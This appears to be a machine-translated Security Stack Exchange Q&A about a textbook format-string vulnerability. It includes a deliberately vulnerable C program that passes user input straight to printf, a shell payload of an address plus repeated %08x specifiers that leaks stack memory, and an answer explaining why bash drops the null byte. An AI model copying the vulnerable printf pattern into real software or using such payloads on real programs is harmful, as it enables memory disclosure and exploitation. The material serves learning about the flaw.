我尝试使用printf()格式参数,其中直接提供用户控制的数据,因为printf的唯一参数(“用户输入”)允许用户提供格式参数,例如%x,在这种情况下,函数不需要额外的参数来弹出堆栈,因此它使用当前存在的任何数据,允许您读取地址等等。
程序
#include
#include
#include
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s \n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}我的问题是,当我在格式参数之前提供一个地址作为我的程序的参数时,最不重要的字节00 (地址的一部分)被截断,并被堆栈中的另一个字节(在本例中为2e)所取代。
./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')产出:
The right way to print user-controlled input:
X`.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X`.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8发布于 2018-09-22 17:22:15
在我的机器上,即使我只是测试参数生成部分
echo $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')我得到了一个
-bash: warning: command substitution: ignored null byte in input似乎在您的机器上也会发生同样的情况(不幸的是,没有显示警告)。因此,效果就好像你已经通过了
$(printf "\x58\x10\x60")$(perl -e 'print ".%08x" x8')也就是说,您的预期地址的第四个字符摘自第一个‘’。(ASCII 0x2E)如下。也许可以尝试与"\x58\x10\x60\x01“或"\x58\x10\x5f\xff”友好相处。
另见https://unix.stackexchange.com/questions/160598/representing-quoting-nul-on-the-command-line
https://security.stackexchange.com/questions/194270
复制相似问题